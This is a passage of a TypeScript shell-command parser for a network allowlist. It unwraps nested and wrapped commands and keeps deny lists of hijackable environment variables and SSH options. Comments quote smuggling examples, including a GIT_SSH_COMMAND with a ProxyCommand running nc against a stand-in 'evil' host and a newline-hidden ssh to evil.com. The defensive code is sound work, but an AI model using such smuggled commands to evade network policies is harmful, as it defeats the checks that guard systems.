NICE_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-n\", \"--adjustment\"]);\n\nconst DOAS_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-C\", \"-u\"]);\n\nconst SUDO_WRAPPER_FLAGS_WITH_VALUES = new Set([\n\t\"-C\",\n\t\"--close-from\",\n\t\"-g\",\n\t\"--group\",\n\t\"-h\",\n\t\"--host\",\n\t\"-p\",\n\t\"--prompt\",\n\t\"-T\",\n\t\"--command-timeout\",\n\t\"-u\",\n\t\"--user\",\n]);\n\nconst TIMEOUT_WRAPPER_FLAGS_WITH_VALUES = new Set([\n\t\"-k\",\n\t\"--kill-after\",\n\t\"-s\",\n\t\"--signal\",\n]);\n\nconst XARGS_WRAPPER_FLAGS_WITH_VALUES = new Set([\n\t\"-a\",\n\t\"--arg-file\",\n\t\"-d\",\n\t\"--delimiter\",\n\t\"-E\",\n\t\"--eof\",\n\t\"-e\",\n\t\"--eof-str\",\n\t\"-I\",\n\t\"--replace\",\n\t\"-i\",\n\t\"-L\",\n\t\"--max-lines\",\n\t\"-l\",\n\t\"-n\",\n\t\"--max-args\",\n\t\"-P\",\n\t\"--max-procs\",\n\t\"-s\",\n\t\"--max-chars\",\n]);\n\ninterface ShellToken {\n\tvalue: string;\n\tseparator: boolean;\n}\n\nfunction cleanExtractedUrl(url: string): string {\n\tconst trailingPunctuation = url.includes(\"://[\")\n\t\t? /[)},.;:]+$/\n\t\t: /[)}\\],.;:]+$/;\n\treturn url.replace(trailingPunctuation, \"\");\n}\n\nfunction shellCommandName(token: string): string {\n\tconst base = token.replace(/\\\\/g, \"\").split(\"/\").pop() ?? token;\n\treturn base.toLowerCase();\n}\n\nfunction isEnvAssignment(token: string): boolean {\n\treturn /^[A-Za-z_][A-Za-z0-9_]*=/.test(token);\n}\n\nfunction envAssignmentName(token: string): string | null {\n\tconst match = token.match(/^([A-Za-z_][A-Za-z0-9_]*)=/);\n\treturn match ? match[1]! : null;\n}\n\n// Bare env-var prefixes (`VAR=value VAR2=value cmd args`) that set\n// dangerous variables for the subsequent command. The bot-flagged\n// canonical case is\n// `GIT_SSH_COMMAND='ssh -o ProxyCommand=nc evil 22' git clone …`:\n// the parser then sees `git clone github.com:o/r`, extracts\n// github.com, and the policy allows the command — but the actual\n// SSH transport is the attacker-supplied `nc evil 22` command, not\n// real ssh. We treat any non-empty assignment to one of these\n// variables as opaque, the same way we treat ssh `-o ProxyCommand=`.\nconst OPAQUE_ENV_VAR_NAMES = new Set([\n\t// Tool-specific transport overrides.\n\t\"GIT_SSH\",\n\t\"GIT_SSH_COMMAND\",\n\t\"GIT_PROXY_COMMAND\",\n\t\"RSYNC_RSH\",\n\t\"CVS_RSH\",\n\t// Library/loader hijacks. Setting these inline is almost always\n\t// an attempt to intercept the subsequent process.\n\t\"LD_PRELOAD\",\n\t\"LD_LIBRARY_PATH\",\n\t\"LD_AUDIT\",\n\t\"DYLD_INSERT_LIBRARIES\",\n\t\"DYLD_LIBRARY_PATH\",\n\t\"DYLD_FALLBACK_LIBRARY_PATH\",\n\t// Shell startup-hijacks.\n\t\"BASH_ENV\",\n\t\"ENV\",\n\t\"PROMPT_COMMAND\",\n\t// curl / wget config overrides via env.\n\t\"CURL_HOME\",\n\t\"WGETRC\",\n]);\n\nfunction findOpaqueEnvAssignment(segment: string[]): string | null {\n\tfor (const token of segment) {\n\t\tif (!isEnvAssignment(token)) {\n\t\t\t// We've passed the env-prefix region; anything after is the\n\t\t\t// command itself, which is handled elsewhere.\n\t\t\treturn null;\n\t\t}\n\t\tconst name = envAssignmentName(token);\n\t\tif (name && OPAQUE_ENV_VAR_NAMES.has(name)) {\n\t\t\tconst value = token.slice(name.length + 1);\n\t\t\tif (value !== \"\") {\n\t\t\t\treturn `${name}=${value}`;\n\t\t\t}\n\t\t}\n\t}\n\treturn null;\n}\n\nfunction wrapperFlagTakesValue(commandName: string, flag: string): boolean {\n\tif (commandName === \"env\") {\n\t\treturn ENV_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"exec\") {\n\t\treturn EXEC_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"nice\") {\n\t\treturn NICE_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"doas\") {\n\t\treturn DOAS_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"sudo\") {\n\t\treturn SUDO_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"timeout\") {\n\t\treturn TIMEOUT_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"xargs\") {\n\t\treturn XARGS_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\treturn false;\n}\n\nfunction commandWrapperDoesNotExecute(segment: string[]): boolean {\n\tif (shellCommandName(segment[0] ?? \"\") !== \"command\") {\n\t\treturn false;\n\t}\n\n\tfor (let index = 1; index < segment.length; index += 1) {\n\t\tconst arg = segment[index]!;\n\t\tif (arg === \"--\") {\n\t\t\treturn false;\n\t\t}\n\t\tif (!arg.startsWith(\"-\") || arg === \"-\") {\n\t\t\treturn false;\n\t\t}\n\t\tif (arg === \"-v\" || arg === \"-V\") {\n\t\t\treturn true;\n\t\t}\n\t\tif (!arg.startsWith(\"--\") && /[vV]/.test(arg.slice(1))) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;\n}\n\nfunction tokenizeShellCommand(command: string): ShellToken[] {\n\tconst tokens: ShellToken[] = [];\n\tlet current = \"\";\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tconst pushCurrent = () => {\n\t\tif (current.length > 0) {\n\t\t\ttokens.push({ value: current, separator: false });\n\t\t\tcurrent = \"\";\n\t\t}\n\t};\n\n\tfor (let index = 0; index < command.length; index += 1) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tcurrent += char;\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote) {\n\t\t\tif (char === quote) {\n\t\t\t\tquote = null;\n\t\t\t} else {\n\t\t\t\tcurrent += char;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Treat `\\n` and `\\r` as command separators (equivalent to `;`).\n\t\t// bash splits on newlines the same way it splits on `;` —\n\t\t// `echo hi\\nssh user@evil.com` runs two commands. Without this\n\t\t// the parser folded both into one giant non-network command and\n\t\t// the SSH leg slipped past the allowlist gate.\n\t\tif (char === \"\\n\" || char === \"\\r\") {\n\t\t\tpushCurrent();\n\t\t\ttokens.push({ value: char, separator: true });\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (/\\s/.test(char)) {\n\t\t\tpushCurrent();\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \";\" || char === \"&\" || char === \"|\") {\n\t\t\tpushCurrent();\n\t\t\tconst next = command[index + 1];\n\t\t\tif ((char === \"&\" || char === \"|\") && next === char) {\n\t\t\t\ttokens.push({ value: `${char}${next}`, separator: true });\n\t\t\t\tindex += 1;\n\t\t\t} else {\n\t\t\t\ttokens.push({ value: char, separator: true });\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += char;\n\t}\n\n\tif (escaped) {\n\t\tcurrent += \"\\\\\";\n\t}\n\tpushCurrent();\n\n\treturn tokens;\n}\n\nfunction commandSegments(tokens: ShellToken[]): string[][] {\n\tconst segments: string[][] = [];\n\tlet current: string[] = [];\n\n\tfor (const token of tokens) {\n\t\tif (token.separator) {\n\t\t\tif (current.length > 0) {\n\t\t\t\tsegments.push(current);\n\t\t\t\tcurrent = [];\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tcurrent.push(token.value);\n\t}\n\n\tif (current.length > 0) {\n\t\tsegments.push(current);\n\t}\n\n\treturn segments;\n}\n\nfunction skipWrapperArgs(segment: string[], commandName: string): string[] {\n\tlet index = 1;\n\twhile (index < segment.length) {\n\t\tconst arg = segment[index]!;\n\t\tif (arg === \"--\") {\n\t\t\tindex += 1;\n\t\t\tbreak;\n\t\t}\n\t\tif (commandName === \"env\" && isEnvAssignment(arg)) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\t\tif (!arg.startsWith(\"-\")) {\n\t\t\tbreak;\n\t\t}\n\t\tconst [flag] = arg.split(\"=\", 1);\n\t\tindex += 1;\n\t\tif (\n\t\t\tflag &&\n\t\t\twrapperFlagTakesValue(commandName, flag) &&\n\t\t\t!arg.includes(\"=\") &&\n\t\t\tindex < segment.length\n\t\t) {\n\t\t\tindex += 1;\n\t\t}\n\t}\n\n\tif (commandName === \"timeout\" && index < segment.length) {\n\t\tindex += 1;\n\t}\n\n\treturn segment.slice(index);\n}\n\nfunction extractShellCommandArg(\n\tsegment: string[],\n\tindex: number,\n): { command: string | null; consumedArgs: number } | null {\n\tconst arg = segment[index]!;\n\n\tif (arg === \"--command\") {\n\t\treturn {\n\t\t\tcommand: segment[index + 1] ?? null,\n\t\t\tconsumedArgs: segment[index + 1] === undefined ? 1 : 2,\n\t\t};\n\t}\n\tif (arg.startsWith(\"--command=\")) {\n\t\treturn {\n\t\t\tcommand: arg.slice(\"--command=\".length) || null,\n\t\t\tconsumedArgs: 1,\n\t\t};\n\t}\n\tif (\n\t\tSHELL_FLAGS_WITH_VALUES.has(arg) ||\n\t\targ.startsWith(\"--init-file=\") ||\n\t\targ.startsWith(\"--rcfile=\") ||\n\t\targ.startsWith(\"-rcfile=\")\n\t) {\n\t\treturn null;\n\t}\n\tif (!arg.startsWith(\"-\") || arg.startsWith(\"--\")) {\n\t\treturn null;\n\t}\n\n\tconst commandFlagIndex = arg.indexOf(\"c\", 1);\n\tif (\n\t\tcommandFlagIndex === -1 ||\n\t\tcommandFlagIndex > 5 ||\n\t\t![...arg.slice(1, commandFlagIndex)].every((flag) =>\n\t\t\tSHELL_SHORT_FLAGS_BEFORE_COMMAND.has(flag),\n\t\t)\n\t) {\n\t\treturn null;\n\t}\n\n\tconst gluedCommand = arg.slice(commandFlagIndex + 1);\n\treturn {\n\t\tcommand:\n\t\t\tgluedCommand.length > 1 ? gluedCommand : (segment[index + 1] ?? null),\n\t\tconsumedArgs:\n\t\t\tgluedCommand.length > 1 || segment[index + 1] === undefined ? 1 : 2,\n\t};\n}\n\nfunction extractShellCommandString(segment: string[]): string | null {\n\tfor (let index = 1; index < segment.length; index += 1) {\n\t\tconst arg = segment[index]!;\n\t\tif (arg === \"--\") {\n\t\t\treturn null;\n\t\t}\n\t\tconst commandArg = extractShellCommandArg(segment, index);\n\t\tif (commandArg) {\n\t\t\treturn commandArg.command;\n\t\t}\n\t\tif (SHELL_FLAGS_WITH_VALUES.has(arg)) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\t\tif (\n\t\t\targ.startsWith(\"--init-file=\") ||\n\t\t\targ.startsWith(\"--rcfile=\") ||\n\t\t\targ.startsWith(\"-rcfile=\")\n\t\t) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (!arg.startsWith(\"-\")) {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction extractNestedShellCommand(segment: string[]): string | null {\n\tlet remaining = segment;\n\n\twhile (remaining.length > 0) {\n\t\tconst commandName = shellCommandName(remaining[0] ?? \"\");\n\t\tif (SHELL_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn extractShellCommandString(remaining);\n\t\t}\n\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tremaining = skipWrapperArgs(remaining, commandName);\n\t}\n\n\treturn null;\n}\n\nfunction findParenthesizedCommandEnd(\n\tcommand: string,\n\tstartIndex: number,\n\tstartOffset = 1,\n): number {\n\tlet depth = 1;\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tfor (\n\t\tlet index = startIndex + startOffset;\n\t\tindex < command.length;\n\t\tindex += 1\n\t) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === \"'\") {\n\t\t\tif (char === \"'\") {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === '\"') {\n\t\t\tif (char === '\"') {\n\t\t\t\tquote = null;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (\n\t\t\t\tchar === \"$\" &&\n\t\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\t\tcommand[index + 2] !== \"(\"\n\t\t\t) {\n\t\t\t\tdepth += 1;\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (\n\t\t\tchar === \"$\" &&\n\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\tcommand[index + 2] !== \"(\"\n\t\t) {\n\t\t\tdepth += 1;\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"(\") {\n\t\t\tdepth += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \")\") {\n\t\t\tdepth -= 1;\n\t\t\tif (depth === 0) {\n\t\t\t\treturn index;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn -1;\n}\n\nfunction findCommandSubstitutionEnd(\n\tcommand: string,\n\tstartIndex: number,\n): number {\n\treturn findParenthesizedCommandEnd(command, startIndex, 2);\n}\n\nfunction extractSubshellCommands(command: string): string[] {\n\tconst commands: string[] = [];\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tconst startsAfterShellBoundary = (index: number): boolean => {\n\t\tfor (let current = index - 1; current >= 0; current -= 1) {\n\t\t\tconst value = command[current];\n\t\t\tif (value === \"\\n\" || value === \"\\r\") {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif (value && !/\\s/.test(value)) {\n\t\t\t\treturn value === \";\" || value === \"&\" || value === \"|\" || value === \"(\";\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t};\n\n\tfor (let index = 0; index < command.length; index += 1) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === \"'\") {\n\t\t\tif (char === \"'\") {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === '\"') {\n\t\t\tif (char === '\"') {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst isProcessSubstitution =\n\t\t\tcommand[index - 1] === \"<\" || command[index - 1] === \">\";\n\t\tif (\n\t\t\tchar === \"(\" &&\n\t\t\tcommand[index - 1] !== \"$\" &&\n\t\t\tcommand[index + 1] !== \"(\" &&\n\t\t\t(isProcessSubstitution || startsAfterShellBoundary(index))\n\t\t) {\n\t\t\tconst endIndex = findParenthesizedCommandEnd(command, index);\n\t\t\tif (endIndex !== -1) {\n\t\t\t\tconst nested = command.slice(index + 1, endIndex).trim();\n\t\t\t\tif (nested) {\n\t\t\t\t\tcommands.push(nested);\n\t\t\t\t}\n\t\t\t\tindex = endIndex;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn commands;\n}\n\nfunction extractFindExecSegments(segment: string[]): string[][] {\n\tconst commands: string[][] = [];\n\n\tfor (let index = 1; index < segment.length; index += 1) {\n\t\tconst arg = segment[index]!;\n\t\tif (\n\t\t\targ !== \"-exec\" &&\n\t\t\targ !== \"-execdir\" &&\n\t\t\targ !== \"-ok\" &&\n\t\t\targ !== \"-okdir\"\n\t\t) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst start = index + 1;\n\t\tlet end = start;\n\t\twhile (end < segment.length) {\n\t\t\tconst token = segment[end]!;\n\t\t\tif (token === \";\" || token === \"+\") {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tend += 1;\n\t\t}\n\n\t\tif (end > start) {\n\t\t\tcommands.push(segment.slice(start, end));\n\t\t}\n\t\tindex = end;\n\t}\n\n\treturn commands;\n}\n\nfunction extractEmbeddedCommandSegments(segment: string[]): string[][] {\n\tlet remaining = segment;\n\n\twhile (remaining.length > 0) {\n\t\tconst commandName = shellCommandName(remaining[0] ?? \"\");\n\t\tif (commandName === \"find\") {\n\t\t\treturn extractFindExecSegments(remaining);\n\t\t}\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn [];\n\t\t}\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\treturn [];\n\t\t}\n\t\tremaining = skipWrapperArgs(remaining, commandName);\n\t}\n\n\treturn [];\n}\n\nfunction nestedCommandSegments(\n\tsegment: string[],\n\tseen: Set<string>,\n): string[][] {\n\tconst segments: string[][] = [];\n\tconst nestedShell = extractNestedShellCommand(segment);\n\tif (nestedShell) {\n\t\tsegments.push(...allCommandSegments(nestedShell, seen));\n\t}\n\n\tfor (const embeddedSegment of extractEmbeddedCommandSegments(segment)) {\n\t\tsegments.push(\n\t\t\tembeddedSegment,\n\t\t\t...nestedCommandSegments(embeddedSegment, seen),\n\t\t);\n\t}\n\n\treturn segments;\n}\n\nfunction extractCommandSubstitutionCommands(command: string): string[] {\n\tconst commands: string[] = [];\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tfor (let index = 0; index < command.length; index += 1) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === \"'\") {\n\t\t\tif (char === \"'\") {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === '\"') {\n\t\t\tif (char === '\"') {\n\t\t\t\tquote = null;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (\n\t\t\t\tchar === \"$\" &&\n\t\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\t\tcommand[index + 2] !== \"(\"\n\t\t\t) {\n\t\t\t\tconst endIndex = findCommandSubstitutionEnd(command, index);\n\t\t\t\tif (endIndex !== -1) {\n\t\t\t\t\tconst nested = command.slice(index + 2, endIndex).trim();\n\t\t\t\t\tif (nested) {\n\t\t\t\t\t\tcommands.push(nested);\n\t\t\t\t\t}\n\t\t\t\t\tindex = endIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (char === \"`\") {\n\t\t\t\tconst endIndex = command.indexOf(\"`\", index + 1);\n\t\t\t\tif (endIndex !== -1) {\n\t\t\t\t\tconst nested = command.slice(index + 1, endIndex).trim();\n\t\t\t\t\tif (nested) {\n\t\t\t\t\t\tcommands.push(nested);\n\t\t\t\t\t}\n\t\t\t\t\tindex = endIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (\n\t\t\tchar === \"$\" &&\n\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\tcommand[index + 2] !== \"(\"\n\t\t) {\n\t\t\tconst endIndex = findCommandSubstitutionEnd(command, index);\n\t\t\tif (endIndex !== -1) {\n\t\t\t\tconst nested = command.slice(index + 2, endIndex).trim();\n\t\t\t\tif (nested) {\n\t\t\t\t\tcommands.push(nested);\n\t\t\t\t}\n\t\t\t\tindex = endIndex;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"`\") {\n\t\t\tconst endIndex = command.indexOf(\"`\", index + 1);\n\t\t\tif (endIndex !== -1) {\n\t\t\t\tconst nested = command.slice(index + 1, endIndex).trim();\n\t\t\t\tif (nested) {\n\t\t\t\t\tcommands.push(nested);\n\t\t\t\t}\n\t\t\t\tindex = endIndex;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn commands;\n}\n\nfunction allCommandSegments(\n\tcommand: string,\n\tseen = new Set<string>(),\n): string[][] {\n\tif (seen.has(command)) {\n\t\treturn [];\n\t}\n\tseen.add(command);\n\n\tconst segments = commandSegments(tokenizeShellCommand(command));\n\tconst nestedSegments = segments.flatMap((segment) =>\n\t\tnestedCommandSegments(segment, seen),\n\t);\n\tconst substitutionSegments = extractCommandSubstitutionCommands(\n\t\tcommand,\n\t).flatMap((nested) => allCommandSegments(nested, seen));\n\tconst subshellSegments = extractSubshellCommands(command).flatMap((nested) =>\n\t\tallCommandSegments(nested, seen),\n\t);\n\n\treturn [\n\t\t...segments,\n\t\t...nestedSegments,\n\t\t...substitutionSegments,\n\t\t...subshellSegments,\n\t];\n}\n\nfunction unwrapNetworkInvocation(\n\tsegment: string[],\n): { commandName: string; args: string[]; display: string[] } | null {\n\tlet remaining = segment;\n\n\t// Skip bash-style bare env-var prefixes (`VAR=value VAR2=value\n\t// cmd args`). Without this the parser sees `GIT_SSH_COMMAND=…` as\n\t// the first token, finds no network command, and bails — so\n\t// `GIT_SSH_COMMAND='…' git clone github.com:o/r` was undetected\n\t// even though it's the canonical smuggle vector. The opaque-env\n\t// detector (`findOpaqueEnvAssignment`) runs on the original segment\n\t// in `findOpaqueNetworkShellCommand` so the dangerous prefix is\n\t// still inspected — we just need to skip past it here so the\n\t// underlying command is recognized for URL extraction.\n\twhile (remaining.length > 0 && isEnvAssignment(remaining[0]!)) {\n\t\tremaining = remaining.slice(1);\n\t}\n\n\twhile (remaining.length > 0) {\n\t\tconst commandName = shellCommandName(remaining[0] ?? \"\");\n\t\tif (NETWORK_COMMANDS.has(commandName)) {\n\t\t\treturn {\n\t\t\t\tcommandName,\n\t\t\t\targs: remaining.slice(1),\n\t\t\t\tdisplay: remaining,\n\t\t\t};\n\t\t}\n\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tremaining = skipWrapperArgs(remaining, commandName);\n\t}\n\n\treturn null;\n}\n\nfunction looksLikeHostTarget(value: string): boolean {\n\tif (!value || value.startsWith(\"-\")) {\n\t\treturn false;\n\t}\n\tif (/^https?:\\/\\//i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^\\[[0-9a-f:.%]+\\](?::\\d+)?(?:\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^(?:\\d{1,3}\\.){3}\\d{1,3}(?::\\d+)?(?:\\/.*)?$/.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^localhost(?::\\d+)?(?:\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^[a-z0-9.-]+\\.[a-z0-9-]+(?::\\d+)?(?:\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^[^@\\s]+@[a-z0-9.-]+\\.[a-z0-9-]+(?::[^\\s]+|\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nfunction targetToUrl(value: string): string | null {\n\tlet target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\tif (!looksLikeHostTarget(target)) {\n\t\treturn null;\n\t}\n\n\tconst scpStyleMatch = target.match(/^[^@\\s]+@([^:/\\s]+):/);\n\tif (scpStyleMatch?.[1]) {\n\t\ttarget = scpStyleMatch[1];\n\t} else {\n\t\tconst sshUserHostMatch = target.match(\n\t\t\t/^[^@\\s]+@([^:/\\s]+)((?::\\d+)?(?:\\/.*)?)$/i,\n\t\t);\n\t\tif (sshUserHostMatch?.[1]) {\n\t\t\ttarget = `${sshUserHostMatch[1]}${sshUserHostMatch[2] ?? \"\"}`;\n\t\t}\n\t}\n\n\tif (!/^https?:\\/\\//i.test(target)) {\n\t\ttarget = `http://${target}`;\n\t}\n\n\treturn cleanExtractedUrl(target);\n}\n\n// `^[A-Za-z]:[\\\\/]` is a Windows drive path (e.g. `C:\\src` / `C:/src`).\n// The scp `host:path` regex below would otherwise parse the drive letter\n// as the remote host. Drive paths are local copies, not network targets.\nconst WINDOWS_DRIVE_PATH = /^[A-Za-z]:[\\\\/]/;\n\nfunction scpStyleTargetToUrl(value: string): string | null {\n\tconst target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\tif (WINDOWS_DRIVE_PATH.test(target)) {\n\t\treturn null;\n\t}\n\tconst scpStyleMatch = target.match(\n\t\t/^(?:[^@\\s]+@)?(\\[[0-9a-f:.%]+\\]|[^:/\\s]+):(?:[^\\s]*)$/i,\n\t);\n\tconst host = scpStyleMatch?.[1];\n\treturn host ? cleanExtractedUrl(`http://${host}`) : null;\n}\n\nfunction rsyncStyleTargetToUrl(value: string): string | null {\n\tconst target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t// `rsync://[user@]host[:port]/path`\n\tconst uriMatch = target.match(\n\t\t/^rsync:\\/\\/(?:[^@\\s]+@)?(\\[[0-9a-f:.%]+\\]|[^:/\\s]+)(?::\\d+)?/i,\n\t);\n\tif (uriMatch?.[1]) {\n\t\treturn cleanExtractedUrl(`http://${uriMatch[1]}`);\n\t}\n\t// daemon-style: `[user@]host::module[/path]` — exactly two colons separate\n\t// the host from the module name.\n\tconst daemonMatch = target.match(\n\t\t/^(?:[^@\\s]+@)?(\\[[0-9a-f:.%]+\\]|[^:/\\s]+)::/,\n\t);\n\tif (daemonMatch?.[1]) {\n\t\treturn cleanExtractedUrl(`http://${daemonMatch[1]}`);\n\t}\n\treturn null;\n}\n\nfunction networkTargetToUrl(commandName: string, value: string): string | null {\n\tconst url = targetToUrl(value);\n\tif (url) {\n\t\treturn url;\n\t}\n\tif (commandName === \"git\" || commandName === \"scp\") {\n\t\treturn scpStyleTargetToUrl(value);\n\t}\n\tif (commandName === \"rsync\") {\n\t\treturn rsyncStyleTargetToUrl(value) ?? scpStyleTargetToUrl(value);\n\t}\n\treturn null;\n}\n\nfunction hasShellExpansion(value: string): boolean {\n\treturn /[$`]|[<>]\\(/.test(value);\n}\n\nfunction networkFlagTakesValue(commandName: string, flag: string): boolean {\n\tif (commandName === \"curl\" && (flag === \"-i\" || flag === \"-p\")) {\n\t\treturn false;\n\t}\n\tif (commandName === \"rsync\") {\n\t\t// rsync's short-flag space barely overlaps with the curl/wget table\n\t\t// — many entries there (`-o`, `-i`, `-H`, `-c`, ...) are *boolean*\n\t\t// in rsync, so use a dedicated set and ignore the generic one.\n\t\treturn RSYNC_FLAGS_WITH_VALUES.has(flag);\n\t}\n\n\treturn FLAGS_WITH_VALUES.has(flag);\n}\n\n// Options whose value triggers a shell-out or otherwise lets the caller\n// redirect the connection in opaque ways. OpenSSH config option names are\n// case-insensitive — these entries are lowercased before lookup.\nconst OPAQUE_SSH_COMMAND_OPTIONS = new Set([\n\t\"proxycommand\",\n\t\"remotecommand\",\n\t\"localcommand\",\n\t\"knownhostscommand\",\n\t// Permits arbitrary local execution via the matching `LocalCommand` /\n\t// `~/.ssh/rc` mechanisms.\n\t\"permitlocalcommand\",\n\t// `Match exec <command>` runs the matcher's <command> at evaluation time.\n\t\"match\",\n\t// A pipe-prefixed `ControlPath` (`|cmd args`) executes the command.\n\t\"controlpath\",\n\t// Lets the caller smuggle env vars (e.g. `LD_PRELOAD=`) into the\n\t// child shell.\n\t\"setenv\",\n\t// Redirects the auth-agent socket — attacker socket can capture keys\n\t// or proxy to a different agent.\n\t\"identityagent\",\n\t// `Include` pulls additional config from a path the attacker chooses.\n\t\"include\",\n\t// Wholesale reassigns the user/host pair; `Hostname` is the canonical\n\t// \"where the connection really goes\" override.\n\t\"hostname\",\n\t// ProxyJump (-J) routes the connection through one or more bastion hosts\n\t// before reaching the positional destination. Like HostName, the static\n\t// positional check can't reason about the jumped-through hops, so any\n\t// presence forces fail-closed.\n\t\"proxyjump\",\n]);\n\n// scp shares OpenSSH's option parser and accepts the same opaque options.\nconst OPAQUE_SSH_CARRIER_COMMANDS = new Set([\"ssh\", \"sftp\", \"scp\"]);\n\nfunction findOpaqueSshOption(\n\tcommandName: string,\n\targs: string[],\n): string | null {\n\tif (!OPAQUE_SSH_CARRIER_COMMANDS.has(commandName)) {\n\t\treturn null;\n\t}\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\tlet optionToken: string | null = null;\n\t\tif (arg === \"-o\" && index + 1 < args.length) {\n\t\t\toptionToken = args[index + 1]!;\n\t\t\t// Skip the next arg in the outer for-loop. The increment here is\n\t\t\t// in addition to the loop's own `+= 1`, so the net effect is\n\t\t\t// `index += 2` — one for the `-o` flag and one for its value.\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"-o\") && arg.length > 2) {\n\t\t\toptionToken = arg.slice(2);\n\t\t} else if (arg === \"-F\" || arg.startsWith(\"-F\")) 